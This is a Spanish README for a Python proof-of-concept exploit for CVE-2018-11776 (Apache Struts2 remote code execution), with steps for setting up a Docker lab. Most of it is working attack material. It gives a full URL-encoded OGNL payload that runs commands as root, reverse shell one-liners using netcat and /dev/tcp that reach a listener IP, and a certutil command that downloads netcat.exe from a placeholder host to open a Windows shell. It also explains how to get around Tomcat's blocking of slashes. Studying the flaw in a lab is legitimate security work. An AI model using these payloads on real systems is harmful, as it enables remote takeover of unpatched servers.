
Prueba y PoC funcional en Python para CVE-2018-11776, incluye laboratorio Docker
hook-s3c (github.com/hook-s3c), @hook_s3c en twitter
Prueba y PoC en Python funcional para CVE-2018-11776, apareció originalmente en; https://github.com/hook-s3c/CVE-2018-11776-Python-PoC
Man Yue Mo de Semmle ha revelado una vulnerabilidad de ejecución remota de código (RCE) en Struts2, entregada en un payload codificado en la ruta URL de una solicitud.
Las versiones afectadas son 2.3 a 2.3.34, y 2.5 a 2.5.16.
La configuración predeterminada no es vulnerable, pero si está mal configurada... F.
El exploit funcionará bien con el contenedor docker creado para cve-2017-5638 (struts2-showcase-2.3.12)
$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
agrega la siguiente configuración;
<action name="help">
<result type="redirectAction">
<param name="actionName">date.action</param>
</result>
</action>
y también;
<struts>
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
reinicia tu tomcat y/o contenedor
$ /usr/local/tomcat/bin/shutdown.sh
prueba la url para ver si ocurre una redirección y evaluación;
con el script de prueba;
$ ./exploitS2-057-test.py http://0.0.0.0:32771/showcase.action
probando la url para el exploit; http://0.0.0.0:32771/${12612+24867}/help.action
URL http://0.0.0.0:32771/showcase.action s2-057 CVE-2018-11776 es vulnerable!
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'id'
[Ejecutar]: https://raw.githubusercontent.com/hook-s3c/cve-2018-11776-python-poc/master/id
[Url]: http://0.0.0.0:32771/$%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D=true).(%23cmd=%27id%27).(%23iswin=(@java.lang.System@getProperty(%27os.name%27).toLowerCase().contains(%27win%27))).(%23cmds=(%23iswin%3F%7B%27cmd.exe%27,%27c%27,%23cmd%7D:%7B%27bash%27,%27-c%27,%23cmd%7D)).(%23p=new%20java.lang.ProcessBuilder(%23cmds)).(%23p.redirectErrorStream(true)).(%23process=%23p.start()).(%23ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(%23process.getInputStream(),%23ros)).(%23ros.flush())%7D/help.action
uid=0(root) gid=0(root) groups=0(root)
prepara tu máquina para aceptar la reverse shell;
$ netcat -lvp 31337
ejecuta el script;
# querrás instalar netcat
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'apt-get install netcat -y'
# ahora lanza esa shell
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'netcat -e "$SHELL" 172.17.0.1 31337'
reemplaza 32771 con el puerto expuesto de tu contenedor
$ netcat -lvp 31337
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 "/bin/bash -i >& /dev/tcp/172.17.0.1/31337 0>&1"
# obtén el binario de netcat
# https://stackoverflow.com/questions/28143160/how-can-i-download-a-file-with-batch-file-without-using-any-external-tools
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'certutil.exe -urlcache -split -f "https://yourhostingservice.1337/files/netcat.exe" nc.exe'
# ejecuta
$ ./exploitS2-057-cmd.py 0.0.0.0:32771 'nc.exe 172.17.0.1 31337 –e cmd.exe'
Todas las solicitudes con una barra diagonal (/) fallarán porque Tomcat las bloquea activamente; es posible que necesites evitarlo, por ejemplo usando variables de entorno para /bin/bash como $SHELL en el ejemplo anterior.
Con esto en mente, la bandera /c de Windows no funcionará como se espera. Solo lo he probado en el contenedor docker.
Gracias a @Menin_TheMiddle por mostrar que el problema de las barras diagonales se puede resolver; el código ahora admite barras diagonales, por lo que también es posible una reverse shell sin netcat mediante bash; ahora también admite instancias de Windows (no probado).
Actualiza tu Struts, o simplemente no lo uses.
Supongo que siempre puedes vender productos de suplantación de identidad si tienes una brecha y todos los datos de tus clientes se filtran. (ya sabes quién eres, escoria absoluta)
Gracias a ;
un saludo a vap0rsquad!!! sH3llG0d - Willow - D@3M0¢π1 - n4t4s - 23pieces